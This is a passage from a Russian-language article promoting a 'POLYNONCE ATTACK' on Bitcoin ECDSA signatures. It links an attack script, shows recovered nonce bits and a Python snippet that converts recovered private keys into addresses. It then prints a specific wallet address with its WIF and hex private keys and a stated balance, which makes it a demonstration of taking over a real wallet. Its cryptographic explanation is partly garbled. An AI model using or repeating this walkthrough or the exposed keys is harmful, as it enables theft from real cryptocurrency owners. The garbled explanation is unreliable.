https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py
Результат:
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/418/5d5/ad9/4185d5ad9c6bf0526ac9c00482cf30fa.png)
Мы получили четыре одинаковых первоначальных
128 bits
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits
так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/31e/18f/4ec/31e18f4ec6947d7de4aa059d5eaa1cac.png)
Откроем файл:
PrivateKeyAddr.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/a08/84f/a5d/a0884fa5d75847dd518162f4a73fd711.png)
Откроем bitaddress и проверим:
ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF: L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX: fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/2f0/3da/03e/2f03da03eb53751d3e2231743366fe6d.png)
https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/5a2/554/5d2/5a25545d2caf00051137c44f42b2d723.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/eb6/533/864/eb6533864e1277719aaefeec7f10fbad.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/008/7a1/1af/0087a11af8894e802002822edc99bc86.png)
BALANCE: $ 459.24
Literature:
A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)
Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)
Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)
Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0
Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014)
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/7nKs_KHtyn4
Источник: https://cryptodeep.ru/polynonce-attack